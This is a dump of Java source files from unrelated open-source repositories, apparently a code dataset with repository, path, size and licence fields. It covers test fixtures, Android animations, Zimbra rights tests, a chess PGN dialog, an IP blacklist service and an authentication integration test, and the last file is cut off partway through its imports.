Nylle/JavaFixture | src/main/java/com/github/nylle/javafixture/specimen/ObjectSpecimen.java | 3071 | package com.github.nylle.javafixture.specimen;
import com.github.nylle.javafixture.Context;
import com.github.nylle.javafixture.CustomizationContext;
import com.github.nylle.javafixture.ISpecimen;
import com.github.nylle.javafixture.InstanceFactory;
import com.github.nylle.javafixture.Reflector;
import com.github.nylle.javafixture.SpecimenFactory;
import com.github.nylle.javafixture.SpecimenType;
import java.lang.annotation.Annotation;
import java.util.Map;
import static com.github.nylle.javafixture.CustomizationContext.noContext;
public class ObjectSpecimen<T> implements ISpecimen<T> {
private final SpecimenType<T> type;
private final Context context;
private final SpecimenFactory specimenFactory;
private final InstanceFactory instanceFactory;
public ObjectSpecimen(SpecimenType<T> type, Context context, SpecimenFactory specimenFactory) {
if (type == null) {
throw new IllegalArgumentException("type: null");
}
if (context == null) {
throw new IllegalArgumentException("context: null");
}
if (specimenFactory == null) {
throw new IllegalArgumentException("specimenFactory: null");
}
if (type.isPrimitive() || type.isEnum() || type.isBoxed() || type.asClass() == String.class || type.isMap() || type.isCollection() || type.isInterface()) {
throw new IllegalArgumentException("type: " + type.getName());
}
this.type = type;
this.context = context;
this.specimenFactory = specimenFactory;
this.instanceFactory = new InstanceFactory(specimenFactory);
}
@Override
public T create(Annotation[] annotations) {
return create(noContext(), annotations);
}
@Override
public T create(CustomizationContext customizationContext, Annotation[] annotations) {
if (context.isCached(type)) {
return context.cached(type);
}
if (customizationContext.useRandomConstructor()) {
return context.cached(type, instanceFactory.construct(type));
}
return populate(customizationContext);
}
private T populate(CustomizationContext customizationContext) {
var result = context.cached(type, instanceFactory.instantiate(type));
var reflector = new Reflector<>(result)
.validateCustomization(customizationContext, type);
reflector.getDeclaredFields()
.filter(field -> !customizationContext.getIgnoredFields().contains(field.getName()))
.forEach(field -> reflector.setField(field,
customizationContext.getCustomFields().getOrDefault(
field.getName(),
Map.<String, ISpecimen<?>>of().getOrDefault(
field.getGenericType().getTypeName(),
specimenFactory.build(SpecimenType.fromClass(field.getGenericType()))).create(field.getAnnotations()))));
return result;
}
}
| mit |
adziki/AndroidCommonTools | myhandroid/src/main/java/com/meyouhealth/myhandroid/util/AnimationUtils.java | 7542 | package com.meyouhealth.myhandroid.util;
import android.annotation.TargetApi;
import android.content.Context;
import android.graphics.Point;
import android.os.Build;
import android.util.Log;
import android.view.Display;
import android.view.View;
import android.view.ViewGroup;
import android.view.WindowManager;
import android.view.animation.Animation;
import android.view.animation.Transformation;
import android.widget.RelativeLayout;
public class AnimationUtils {
private int ANIMATION_DURATION = 500;//in milliseconds
private Context mContext;
public AnimationUtils(Context c) {
mContext = c;
}
public AnimationUtils() {
// intentionally left blank
}
public void expand(final View v) {
v.measure(ViewGroup.LayoutParams.MATCH_PARENT, ViewGroup.LayoutParams.WRAP_CONTENT);
final int targtetHeight = v.getMeasuredHeight();
v.getLayoutParams().height = 0;
v.setVisibility(View.VISIBLE);
Animation a = new Animation() {
@Override
protected void applyTransformation(float interpolatedTime, Transformation t) {
v.getLayoutParams().height = interpolatedTime == 1
? ViewGroup.LayoutParams.WRAP_CONTENT
: (int) (targtetHeight * interpolatedTime);
v.requestLayout();
}
@Override
public boolean willChangeBounds() {
return true;
}
};
a.setDuration(ANIMATION_DURATION);
v.startAnimation(a);
}
public void collapse(final View v) {
final int initialHeight = v.getMeasuredHeight();
Animation a = new Animation() {
@Override
protected void applyTransformation(float interpolatedTime, Transformation t) {
if (interpolatedTime == 1) {
v.setVisibility(View.GONE);
} else {
v.getLayoutParams().height = initialHeight - (int) (initialHeight * interpolatedTime);
v.requestLayout();
}
}
@Override
public boolean willChangeBounds() {
return true;
}
};
a.setDuration(ANIMATION_DURATION);
v.startAnimation(a);
}
public interface PopUpCallback {
void onDoneSlidingFromTop(View view, int endMargin);
void onDoneSlidingDownOut();
}
private static final long POP_UP_HOVER_TIME_MILLIS = 1500;
public void popUpFull(View view, float startMargin) {
popUpSlideFromTop(view, startMargin, new PopUpCallback() {
@Override
public void onDoneSlidingFromTop(View view, int endMargin) {
popUpSlideDownOut(view, endMargin, POP_UP_HOVER_TIME_MILLIS, this);
}
@Override
public void onDoneSlidingDownOut() {
// intentionally left blank
}
});
}
private static final int SLIDE_DOWN_END_Y_POSITION_DP = 95;
public void popUpSlideFromTop(final View view, final float startMargin,
final PopUpCallback callback) {
if (mContext == null) return;
int endPosition = UiUtils.pxFromDp(mContext, SLIDE_DOWN_END_Y_POSITION_DP);
final float endMargin = endPosition + (-startMargin);
final int startMarginInt = (int)startMargin;
Animation a = new Animation() {
@Override
protected void applyTransformation(float interpolatedTime, Transformation t) {
applyDownwardTransformation(view, startMarginInt, (int)endMargin, interpolatedTime);
}
};
a.setZAdjustment(Animation.ZORDER_TOP);
a.setDuration(ANIMATION_DURATION);
a.setAnimationListener(new Animation.AnimationListener() {
@Override
public void onAnimationStart(Animation animation) {
//intentionally left blank
}
@Override
public void onAnimationEnd(Animation animation) {
if (callback != null) {
int topMargin = getTopMargin(view);
callback.onDoneSlidingFromTop(view, topMargin);
}
}
@Override
public void onAnimationRepeat(Animation animation) {
//intentionally left blank
}
});
a.setDuration(1000);
view.setAnimation(a);
a.start();
}
private int getTopMargin(View view) {
try {
ViewGroup.MarginLayoutParams margins =
(ViewGroup.MarginLayoutParams)view.getLayoutParams();
if (margins != null) {
return margins.topMargin;
}
} catch (ClassCastException e) {
e.printStackTrace();
}
return 0;
}
private void applyDownwardTransformation(View view, int start, int end, float interpolatedTime) {
RelativeLayout.LayoutParams params = (RelativeLayout.LayoutParams)
view.getLayoutParams();
params.setMargins(0, start + (int)(interpolatedTime * end), 0, 0);
view.setLayoutParams(params);
}
@TargetApi(11)
private int getViewHeightBelowThirteen() {
WindowManager wm = (WindowManager) mContext.getSystemService(Context.WINDOW_SERVICE);
Display display = wm.getDefaultDisplay();
return display.getHeight();
}
@TargetApi(13)
private int getViewHeight() {
Point size = new Point();
WindowManager wm = (WindowManager) mContext.getSystemService(Context.WINDOW_SERVICE);
Display display = wm.getDefaultDisplay();
display.getSize(size);
return size.y;
}
@TargetApi(13)
public void popUpSlideDownOut(final View view, final int startingMargin, long delay,
final PopUpCallback callback) {
int height;
if (Build.VERSION.SDK_INT >= 13) {
height = getViewHeight();
} else {
height = getViewHeightBelowThirteen();
}
if (height < 1) {
//Crashlytics.log(Log.ERROR, "AnimUtils:popUpSlideDownOut", "Could not get screen height.");
view.setVisibility(View.INVISIBLE);
return;
}
final int heightToUse = height;
Animation a = new Animation() {
@Override
protected void applyTransformation(float interpolatedTime, Transformation t) {
applyDownwardTransformation(view, startingMargin, heightToUse, interpolatedTime);
}
};
a.setZAdjustment(Animation.ZORDER_TOP);
a.setDuration(ANIMATION_DURATION);
a.setAnimationListener(new Animation.AnimationListener() {
@Override
public void onAnimationStart(Animation animation) {
//intentionally left blank
}
@Override
public void onAnimationEnd(Animation animation) {
view.setVisibility(View.INVISIBLE);
if (callback != null) {
callback.onDoneSlidingDownOut();
}
}
@Override
public void onAnimationRepeat(Animation animation) {
//intentionally left blank
}
});
a.setDuration(1000);
a.setStartOffset(delay);
view.setAnimation(a);
a.start();
}
}
| mit |
nico01f/z-pec | ZimbraServer/src/java/com/zimbra/qa/unittest/prov/soap/TestDiscoverRights.java | 7296 | /*
* ***** BEGIN LICENSE BLOCK *****
* Zimbra Collaboration Suite Server
* Copyright (C) 2011 Zimbra, Inc.
*
* The contents of this file are subject to the Zimbra Public License
* Version 1.3 ("License"); you may not use this file except in
* compliance with the License. You may obtain a copy of the License at
* http://www.zimbra.com/license.
*
* Software distributed under the License is distributed on an "AS IS"
* basis, WITHOUT WARRANTY OF ANY KIND, either express or implied.
* ***** END LICENSE BLOCK *****
*/
package com.zimbra.qa.unittest.prov.soap;
import static org.junit.Assert.*;
import java.util.Collections;
import java.util.List;
import org.junit.AfterClass;
import org.junit.BeforeClass;
import org.junit.Test;
import com.google.common.collect.Lists;
import com.zimbra.common.account.Key.GranteeBy;
import com.zimbra.common.soap.SoapTransport;
import com.zimbra.cs.account.Account;
import com.zimbra.cs.account.Domain;
import com.zimbra.cs.account.Group;
import com.zimbra.cs.account.Provisioning;
import com.zimbra.cs.account.accesscontrol.GranteeType;
import com.zimbra.cs.account.accesscontrol.Right;
import com.zimbra.cs.account.accesscontrol.TargetType;
import com.zimbra.cs.account.accesscontrol.Rights.User;
import com.zimbra.qa.QA.Bug;
import com.zimbra.qa.unittest.TestUtil;
import com.zimbra.qa.unittest.prov.Verify;
import com.zimbra.soap.account.message.DiscoverRightsRequest;
import com.zimbra.soap.account.message.DiscoverRightsResponse;
import com.zimbra.soap.account.type.DiscoverRightsInfo;
import com.zimbra.soap.account.type.DiscoverRightsTarget;
import com.zimbra.soap.type.TargetBy;
public class TestDiscoverRights extends SoapTest {
private static SoapProvTestUtil provUtil;
private static Provisioning prov;
private static Domain domain;
private static String DOMAIN_NAME;
@BeforeClass
public static void init() throws Exception {
provUtil = new SoapProvTestUtil();
prov = provUtil.getProv();
domain = provUtil.createDomain(baseDomainName());
DOMAIN_NAME = domain.getName();
}
@AfterClass
public static void cleanup() throws Exception {
Cleanup.deleteAll(baseDomainName());
}
private String getAddress(String localpart) {
return TestUtil.getAddress(localpart, DOMAIN_NAME);
}
/*
* verify display name is returned in DiscoverRights and discovered targets
* are sorted by displayName
*/
@Test
@Bug(bug=68225)
public void displayName() throws Exception {
Account acct = provUtil.createAccount(genAcctNameLocalPart(), domain);
String GROUP_1_NAME = getAddress(genGroupNameLocalPart("1"));
String GROUP_1_DISPLAY_NAME = "third";
String GROUP_2_NAME = getAddress(genGroupNameLocalPart("2"));
String GROUP_2_DISPLAY_NAME = "first";
String GROUP_3_NAME = getAddress(genGroupNameLocalPart("3"));
String GROUP_3_DISPLAY_NAME = "first";
Group group1 = provUtil.createGroup(GROUP_1_NAME,
Collections.singletonMap(
Provisioning.A_displayName, (Object)GROUP_1_DISPLAY_NAME), false);
Group group2 = provUtil.createGroup(GROUP_2_NAME,
Collections.singletonMap(
Provisioning.A_displayName, (Object)GROUP_2_DISPLAY_NAME), false);
Group group3 = provUtil.createGroup(GROUP_3_NAME,
Collections.singletonMap(
Provisioning.A_displayName, (Object)GROUP_3_DISPLAY_NAME), false);
String RIGHT_NAME = User.R_ownDistList.getName();
prov.grantRight(TargetType.dl.getCode(), TargetBy.name, group1.getName(),
GranteeType.GT_USER.getCode(), GranteeBy.name, acct.getName(), null,
RIGHT_NAME, null);
prov.grantRight(TargetType.dl.getCode(), TargetBy.name, group2.getName(),
GranteeType.GT_USER.getCode(), GranteeBy.name, acct.getName(), null,
RIGHT_NAME, null);
prov.grantRight(TargetType.dl.getCode(), TargetBy.name, group3.getName(),
GranteeType.GT_USER.getCode(), GranteeBy.name, acct.getName(), null,
RIGHT_NAME, null);
SoapTransport transport = authUser(acct.getName());
DiscoverRightsRequest req = new DiscoverRightsRequest(
Collections.singletonList(RIGHT_NAME));
DiscoverRightsResponse resp = invokeJaxb(transport, req);
List<DiscoverRightsInfo> rightsInfo = resp.getDiscoveredRights();
assertEquals(1, rightsInfo.size());
List<String> result = Lists.newArrayList();
for (DiscoverRightsInfo rightInfo : rightsInfo) {
List<DiscoverRightsTarget> targets = rightInfo.getTargets();
for (DiscoverRightsTarget target : targets) {
String id = target.getId();
String name = target.getName();
String displayName = target.getDisplayName();
result.add(Verify.makeResultStr(id, name, displayName));
}
}
// result should be sorted by displayName.
// If displayName are the same, sorted by entry.getLabel()
Verify.verifyEquals(
Lists.newArrayList(
Verify.makeResultStr(group2.getId(), group2.getName(), group2.getDisplayName()),
Verify.makeResultStr(group3.getId(), group3.getName(), group3.getDisplayName()),
Verify.makeResultStr(group1.getId(), group1.getName(), group1.getDisplayName())),
result);
}
@Test
public void granteeAll() throws Exception {
Domain testDomain = provUtil.createDomain(genDomainName(domain.getName()));
Account acct = provUtil.createAccount(genAcctNameLocalPart(), testDomain);
String RIGHT_NAME = Right.RT_createDistList;
prov.grantRight(TargetType.domain.getCode(), TargetBy.name, testDomain.getName(),
GranteeType.GT_AUTHUSER.getCode(), null, null, null,
RIGHT_NAME, null);
SoapTransport transport = authUser(acct.getName());
DiscoverRightsRequest req = new DiscoverRightsRequest(
Collections.singletonList(RIGHT_NAME));
DiscoverRightsResponse resp = invokeJaxb(transport, req);
List<DiscoverRightsInfo> rightsInfo = resp.getDiscoveredRights();
List<String> result = Lists.newArrayList();
for (DiscoverRightsInfo rightInfo : rightsInfo) {
List<DiscoverRightsTarget> targets = rightInfo.getTargets();
for (DiscoverRightsTarget target : targets) {
String id = target.getId();
String name = target.getName();
result.add(Verify.makeResultStr(id, name));
}
}
Verify.verifyEquals(
Lists.newArrayList(Verify.makeResultStr(testDomain.getId(), testDomain.getName())),
result);
provUtil.deleteAccount(acct);
provUtil.deleteDomain(testDomain);
}
}
| mit |
DeviousCrypto/CNIT325_TeamProjectFall2017 | src/edu/purdue/comradesgui/DemandPGN.java | 3593 | package edu.purdue.comradesgui;
import java.awt.*;
import java.awt.event.*;
import java.io.*;
import java.lang.*;
import java.util.*;
import javax.swing.*;
import javax.swing.text.*;
import javax.swing.event.*;
public class DemandPGN implements ActionListener, MouseListener
{
ComradesFrame CF;
JFrame FRAME;
JList LIST;
JScrollPane PANE;
JButton LOAD_BUTTON, OK_BUTTON, CANCEL_BUTTON, NEW_BUTTON, PASTE_BUTTON;
public DemandPGN (ComradesFrame cf)
{
CF = cf;
MakeFrame ();
}
public void mouseEntered (MouseEvent mou_evt) {}
public void mouseExited (MouseEvent mou_evt) {}
public void mousePressed (MouseEvent mou_evt) {}
public void mouseReleased (MouseEvent mou_evt) {}
public void mouseClicked (MouseEvent mou_evt)
{
if (mou_evt.getClickCount () == 2)
{
int index = LIST.getSelectedIndex ();
CF.DealCards (((BoardPanel) (CF.BOARD_PANEL_COLLECTIVE.getComponent (index))).Name);
FRAME.setVisible (false); // viable ?
FRAME.dispose ();
FRAME = null;
}
}
public void actionPerformed (ActionEvent act_evt)
{
if (act_evt.getActionCommand () == "Cancel")
{
FRAME.setVisible (false);
FRAME.dispose ();
FRAME = null;
}
if (act_evt.getActionCommand () == "OK")
{
int index = LIST.getSelectedIndex ();
CF.DealCards (((BoardPanel) (CF.BOARD_PANEL_COLLECTIVE.getComponent (index))).Name);
FRAME.setVisible (false); // viable ?
FRAME.dispose ();
FRAME = null;
}
if (act_evt.getActionCommand () == "Load")
{
CF.DoLoadPGN ();
MakeList ();
PANE.revalidate ();
}
if (act_evt.getActionCommand () == "New")
{
CF.NewPGN ();
FRAME.setVisible (false); // viable ?
FRAME.dispose ();
FRAME = null;
}
if (act_evt.getActionCommand () == "Paste")
{
CF.DoPastePGN ();
FRAME.setVisible (false); // viable ?
FRAME.dispose ();
FRAME = null;
}
}
public void MakeList ()
{
LIST = new JList (CF.BOARD_PANEL_COLLECTIVE.getComponents ());
LIST.setSelectionMode (ListSelectionModel.SINGLE_SELECTION);
LIST.addMouseListener (this);
PANE.setViewportView (LIST);
for (int i = 0; i < CF.BOARD_PANEL_COLLECTIVE.getComponentCount (); i++)
if (CF.BOARD_PANEL_COLLECTIVE.getComponent (i).isVisible ())
{
LIST.setSelectedIndex (i);
LIST.ensureIndexIsVisible (i); // EnSure
}
}
public void MakeButtons ()
{
LOAD_BUTTON = new JButton ("Load");
LOAD_BUTTON.setActionCommand ("Load");
LOAD_BUTTON.addActionListener (this);
OK_BUTTON = new JButton ("OK");
OK_BUTTON.setActionCommand ("OK");
OK_BUTTON.addActionListener (this);
NEW_BUTTON = new JButton ("New");
NEW_BUTTON.setActionCommand ("New");
NEW_BUTTON.addActionListener (this);
PASTE_BUTTON = new JButton ("Paste");
PASTE_BUTTON.setActionCommand ("Paste");
PASTE_BUTTON.addActionListener (this);
CANCEL_BUTTON = new JButton ("Cancel");
CANCEL_BUTTON.setActionCommand ("Cancel");
CANCEL_BUTTON.addActionListener (this);
}
public void MakeBox ()
{
PANE = new JScrollPane ();
MakeList ();
Box BOX = new Box (BoxLayout.Y_AXIS);
BOX.add (PANE);
MakeButtons ();
Box HBOX = new Box (BoxLayout.X_AXIS);
HBOX.add (LOAD_BUTTON);
HBOX.add (OK_BUTTON);
HBOX.add (NEW_BUTTON);
HBOX.add (PASTE_BUTTON);
HBOX.add (CANCEL_BUTTON);
BOX.add (HBOX);
FRAME.add (BOX);
}
public void MakeFrame ()
{
FRAME = new JFrame ("PGN Selector");
MakeBox ();
FRAME.setBackground (Color.lightGray);
FRAME.pack ();
FRAME.setSize (600, 400);
FRAME.setResizable (false);
FRAME.setVisible (true);
}
}
| mit |
jglrxavpok/0xC1 | src/main/java/org/c1/client/gui/editor/ShipComputer.java | 1028 | package org.c1.client.gui.editor;
import org.c1.client.OpenGLUtils;
import org.c1.client.render.RenderEngine;
import org.c1.client.render.Sprite;
import org.c1.client.render.Texture;
import java.io.IOException;
public class ShipComputer extends EditorDirectionableComponent {
private Sprite sprite;
public ShipComputer(int x, int y) {
super(x, y);
try {
sprite = new Sprite(new Texture("textures/ship/editor_ship.png"), OpenGLUtils.createRegion(64, 0, 32, 32, 256, 256));
sprite.setSize(32, 32);
} catch (IOException e) {
e.printStackTrace();
}
}
@Override
public void render(double delta, RenderEngine engine) {
sprite.setAngle(getDirection().angle());
sprite.render(getPos().x()*32f, getPos().y()*32f, engine);
}
@Override
public void update(double delta) {
}
@Override
public int getWidth() {
return 1;
}
@Override
public int getHeight() {
return 1;
}
}
| mit |
whoszus/HeatSeeking | src/main/java/cc/tinker/web/services/IpAccessService.java | 1841 | package cc.tinker.web.services;
import cc.tinker.entry.repository.SearchFilter;
import cc.tinker.web.entity.IpAccessListEntity;
import cc.tinker.web.entity.AccessHistoryEntity;
import cc.tinker.web.entity.SiteEncodePasswordEntity;
import cc.tinker.web.repository.IpAccessRepository;
import cc.tinker.web.repository.RedSwordAccessHistoryRepository;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.data.domain.Page;
import org.springframework.data.domain.PageRequest;
import org.springframework.data.jpa.domain.Specification;
import org.springframework.stereotype.Service;
import java.util.Map;
/**
* Created by Tinker on 2017/5/3.
*/
@Service
public class IpAccessService {
@Autowired
IpAccessRepository ipAccessRepository;
@Autowired
RedSwordAccessHistoryRepository accessHistoryRepository;
/**
* ip是否在黑名单中
* @param ip
* @return
*/
public boolean IpAccessRecord(String ip) {
IpAccessListEntity ipAccessListEntity = ipAccessRepository.isBlackIpListContains(ip);
if (ipAccessListEntity != null) {
return false;
}
return true;
}
/**
* 保存访问历史
* @param accessHistoryEntity
*/
public void saveAccessHistory(AccessHistoryEntity accessHistoryEntity){
accessHistoryRepository.save(accessHistoryEntity);
}
public Page<AccessHistoryEntity> accessHistoryList(Map<String, Object> searchParams, int pageNumber, int pageSize, String sortType){
PageRequest pageRequest = SearchFilter.buildPageRequest(pageNumber, pageSize, sortType, "id");
Specification<AccessHistoryEntity> spec = SearchFilter.buildSpecification(searchParams, new AccessHistoryEntity());
return accessHistoryRepository.findAll(spec,pageRequest);
}
}
| mit |
joshloh/RexrBot | src/main/java/rexr/rexrbot/Global.java | 220 | package rexr.rexrbot;
public class Global
{
public final static String prefix = "@RexrBot";
public final static String[] validCommands =
{
"add",
"summary",
"edit",
"help",
"alert"
};
} | mit |
RobJinman/webcommon | src/integrationTest/java/com/recursiveloop/webcommondemo/AuthenticationTest.java | 4363 | package com.recursiveloop.webcommondemo;
import com.recursiveloop.webcommon.test.TestSuite;
import org.jboss.arquillian.container.test.api.Deployment;
import org.jboss.arquillian.junit.Arquillian;
import org.jboss.arquillian.junit.InSequence;
import org.jboss.arquillian.test.api.ArquillianResource;
import org.jboss.arquillian.container.test.api.RunAsClient;
import org.jboss.arquillian.extension.rest.client.ArquillianResteasyResource;
import org.jboss.shrinkwrap.api.ShrinkWrap;
import org.jboss.shrinkwrap.api.spec.WebArchive;
import org.jboss.shrinkwrap.api.asset.EmptyAsset;
import org.junit.Before;
import org.junit.BeforeClass;
import org.junit.AfterClass;
import org.junit.Test;
import org.junit.Assert;
import org.junit.runner.RunWith;
import javax.ws.rs.core.Response;
import javax.ws.rs.Consumes;
import javax.ws.rs.core.MediaType;
import javax.ws.rs.NotAuthorizedException;
import javax.annotation.Resource;
import javax.inject.Inject;
import javax.sql.DataSource;
import java.sql.Connection;
import java.sql.ResultSet;
import java.sql.Statement;
import java.sql.SQLException;
import java.sql.Types;
import java.sql.CallableStatement;
import java.util.UUID;
import java.net.URL;
@RunWith(Arquillian.class)
public class AuthenticationTest {
@Deployment
public static WebArchive createDeployment() {
return ShrinkWrap.create(WebArchive.class, "AuthenticationTest.war")
.addPackage("com/recursiveloop/webcommon/test")
.addPackage("com/recursiveloop/webcommon")
.addPackage("com/recursiveloop/webcommon/config")
.addPackage("com/recursiveloop/webcommondemo")
.addPackage("com/recursiveloop/webcommondemo/models")
.addPackage("com/recursiveloop/webcommondemo/resources")
.addPackage("com/recursiveloop/webcommondemo/exceptions")
.addAsResource("config.properties")
.addAsWebInfResource(EmptyAsset.INSTANCE, "beans.xml")
.addAsWebInfResource("jboss-web.xml", "jboss-web.xml")
.setWebXML("web.xml");
}
@Inject
TestSuite m_testSuite;
@Resource(lookup="java:comp/env/jdbc/maindb")
DataSource m_data;
@Inject
Authentication m_auth;
@Test
@InSequence(1)
public void connection_ok() {
Assert.assertNotNull(m_data);
}
private static String m_email = "martha123@website.com";
private static String m_username = "martha";
private static String m_password = "pineapple";
private static String m_code = null;
private static String m_token = null;
@Test
@InSequence(2)
public void setup() throws SQLException {
System.out.println("**((SETUP))**");
m_testSuite.prepDB();
String q = "{ ? = call rl.registeruser(?) }";
try (
Connection con = m_data.getConnection();
) {
try (
CallableStatement cs = con.prepareCall(q);
) {
cs.registerOutParameter (1, Types.VARCHAR);
cs.setString(2, m_email);
cs.execute();
m_code = cs.getString(1);
}
q = "{ ? = call rl.confirmUser(?, ?, ?) }";
try (
CallableStatement cs = con.prepareCall(q);
) {
cs.registerOutParameter (1, Types.OTHER);
cs.setString(2, m_username);
cs.setString(3, m_password);
cs.setString(4, m_code);
cs.execute();
UUID accountId = (UUID)cs.getObject(1);
}
}
}
@Test
@InSequence(3)
public void authenticate_with_good_credentials() throws SQLException, Exception {
System.out.println("**((AUTHENTICATE_WITH_GOOD_CREDENTIALS))**");
m_token = m_auth.authenticate(m_username, m_password);
// Should return a 32 character string
Assert.assertNotNull(m_token);
Assert.assertTrue(m_token.matches("[0-9A-F]{32}"));
}
@Test
@InSequence(4)
public void authenticate_with_bad_credentials() throws SQLException, Exception {
System.out.println("**((AUTHENTICATE_WITH_BAD_CREDENTIALS))**");
String token = m_auth.authenticate(m_username, m_password + "a");
Assert.assertNull(token);
}
@Test
@InSequence(5)
public void get_role() throws SQLException, Exception {
System.out.println("**((GET_ROLE))**");
String role = m_auth.getRole(m_username, m_token);
Assert.assertEquals("AUTHORISED_USER", role);
}
@Test
@InSequence(6)
public void tear_down() throws SQLException {
System.out.println("**((TEAR_DOWN))**");
m_testSuite.prepDB();
}
}
| mit |
AncientMariner/jax | src/main/java/rest/standalone/NetClientGet.java | 1290 | package rest.standalone;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.net.HttpURLConnection;
import java.net.MalformedURLException;
import java.net.URL;
import java.nio.charset.Charset;
public class NetClientGet {
public static void main(String[] args) {
try {
URL url = new URL("http://localhost:8080/rest/json/metallica/get");
HttpURLConnection conn = (HttpURLConnection) url.openConnection();
conn.setRequestMethod("GET");
conn.setRequestProperty("Accept", "application/json");
if (conn.getResponseCode() != 200) {
throw new RuntimeException("Failed : HTTP error code : " + conn.getResponseCode());
}
BufferedReader br = new BufferedReader(new InputStreamReader((conn.getInputStream()), Charset.defaultCharset()));
String output;
System.out.println("Output from Server .... \n");
while ((output = br.readLine()) != null) {
System.out.println(output);
}
conn.disconnect();
} catch (MalformedURLException e) {
e.printStackTrace();
} catch (IOException e) {
e.printStackTrace();
}
}
}
| mit |
bigbrainiac10/SimpleHelpOP | src/com/bigbrainiac10/simplehelpop/SHOConfigManager.java | 828 | package com.bigbrainiac10.simplehelpop;
import org.bukkit.configuration.file.FileConfiguration;
public class SHOConfigManager {
private static FileConfiguration config;
public SHOConfigManager(FileConfiguration con){
config = con;
}
public static String getHostName(){
return config.getString("db.hostname");
}
public static String getUserName(){
return config.getString("db.user");
}
public static String getPassword(){
return config.getString("db.pass");
}
public static int getPort(){
return config.getInt("db.port");
}
public static String getDBName(){
return config.getString("db.dbname");
}
public static String getPlayerMessage(String configName){
return config.getString("msg."+configName);
}
public static boolean getDebug(){
return config.getBoolean("debug");
}
}
| mit |
alimy/OkWeather | app/src/main/java/net/gility/okweather/ui/AboutActivity.java | 2510 | package net.gility.okweather.ui;
import android.os.Build;
import android.os.Bundle;
import android.support.design.widget.AppBarLayout;
import android.support.v4.content.ContextCompat;
import android.support.v7.app.ActionBar;
import android.support.v7.widget.Toolbar;
import android.view.MenuItem;
import net.gility.okweather.R;
import net.gility.okweather.dagger.Injector;
import net.gility.okweather.storage.Preferences;
import net.gility.okweather.ui.fragment.AboutFragment;
import net.gility.okweather.ui.fragment.WebviewFragment;
import javax.inject.Inject;
import butterknife.BindView;
/**
* @author Alimy
*/
public class AboutActivity extends InjectActivity {
AboutFragment mAboutFragment = new AboutFragment();
@BindView(R.id.appbar_layout) AppBarLayout mAppBar;
@BindView(R.id.toolbar) Toolbar mToolbar;
@Inject Preferences mPreferences;
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_about);
Injector.instance.inject(this);
initActionBar();
getFragmentManager().beginTransaction()
.add(R.id.framelayout, mAboutFragment)
.commit();
}
private void initActionBar() {
setSupportActionBar(mToolbar);
ActionBar actionBar = getSupportActionBar();
if (actionBar != null) {
actionBar.setDisplayHomeAsUpEnabled(true);
actionBar.setTitle("关于");
}
if (Build.VERSION.SDK_INT >= 21) {
mAppBar.setElevation(10.6f);
}
setStatusBarColor(R.color.colorPrimary);
if (mPreferences.getCurrentHour() < 6 || mPreferences.getCurrentHour() > 18) {
mToolbar.setBackgroundColor(ContextCompat.getColor(this, R.color.colorSunset));
setStatusBarColor(R.color.colorSunset);
}
}
@Override public boolean onOptionsItemSelected(MenuItem item) {
if (item.getItemId() == android.R.id.home) {
onBackPressed();
return true;
} else {
return super.onOptionsItemSelected(item);
}
}
@Override
public void onBackPressed() {
WebviewFragment fragment = (WebviewFragment) getFragmentManager().findFragmentByTag(WebviewFragment.TAG);
if (fragment != null && fragment.mWebView.canGoBack()) {
fragment.mWebView.goBack();
return;
}
super.onBackPressed();
}
}
| mit |
ozlerhakan/rapid | src/test/java/rapid/container/ContainerConfig.java | 467 | package rapid.container;
import com.kodcu.rapid.path.Container;
import org.glassfish.jersey.server.ResourceConfig;
import org.glassfish.jersey.test.TestProperties;
import rapid.Config;
import javax.ws.rs.core.Application;
/**
* Created by hakan on 17/02/2017.
*/
class ContainerConfig extends Config {
@Override
protected Application configure() {
enable(TestProperties.LOG_TRAFFIC);
return new ResourceConfig(Container.class);
}
}
| mit |
PetrVales/MI-RUN | JavaScriptInterpreter/src/main/java/cz/cvut/valespe/js/interpreter/model/PrintFunction.java | 1159 | package cz.cvut.valespe.js.interpreter.model;
import cz.cvut.valespe.js.interpreter.Memory;
import cz.cvut.valespe.js.interpreter.Scope;
import cz.cvut.valespe.js.interpreter.model.JsFunction;
import cz.cvut.valespe.js.interpreter.model.JsObject;
import java.io.PrintStream;
import java.util.Arrays;
import java.util.Collections;
import java.util.List;
public class PrintFunction extends JsFunction {
private PrintStream printStream;
public PrintFunction(PrintStream printStream) {
super("print", Arrays.asList("text"), null, null);
this.printStream = printStream;
}
@Override
public List<Memory.Reference> getAllReferences() {
return Collections.emptyList();
}
@Override
public Memory.Reference invoke(List<Memory.Reference> args, Scope invokeScope, Memory memory) {
JsObject jsObject = memory.getJsObject(args.get(0));
if (jsObject.isSymbol()) {
final Memory.Reference reference = invokeScope.get((String) jsObject.value());
jsObject = memory.getJsObject(reference);
}
printStream.println(jsObject.value());
return null;
}
}
| mit |
mmnaseri/spring-data-mock | spring-data-mock/src/main/java/com/mmnaseri/utils/spring/data/proxy/impl/adapters/CollectionIterableResultAdapter.java | 1571 | package com.mmnaseri.utils.spring.data.proxy.impl.adapters;
import com.mmnaseri.utils.spring.data.domain.Invocation;
import com.mmnaseri.utils.spring.data.error.ResultAdapterFailureException;
import com.mmnaseri.utils.spring.data.tools.CollectionInstanceUtils;
import java.util.Collection;
/**
* This adapter will adapt results from an iterable to the appropriate collection type. It will
* accept adaptations if the original value is an iterable object and the target result is some sort
* {@link java.util.Collection collection}.
*
* <p>This adapter will execute at priority {@literal -300}.
*
* @author Milad Naseri (m.m.naseri@gmail.com)
* @since 1.0 (9/28/15)
*/
public class CollectionIterableResultAdapter extends AbstractIterableResultAdapter<Collection> {
public CollectionIterableResultAdapter() {
super(-300);
}
@Override
protected Collection doAdapt(Invocation invocation, Iterable iterable) {
final Collection collection;
try {
collection = CollectionInstanceUtils.getCollection(invocation.getMethod().getReturnType());
} catch (IllegalArgumentException e) {
throw new ResultAdapterFailureException(iterable, invocation.getMethod().getReturnType(), e);
}
for (Object item : iterable) {
//noinspection unchecked
collection.add(item);
}
return collection;
}
@Override
public boolean accepts(Invocation invocation, Object originalValue) {
return originalValue instanceof Iterable
&& Collection.class.isAssignableFrom(invocation.getMethod().getReturnType());
}
}
| mit |
qamatic/mintleaf | core/src/main/java/org/qamatic/mintleaf/tools/FileFinder.java | 1699 | package org.qamatic.mintleaf.tools;
import org.qamatic.mintleaf.MintleafLogger;
import java.io.IOException;
import java.nio.file.*;
import java.nio.file.attribute.BasicFileAttributes;
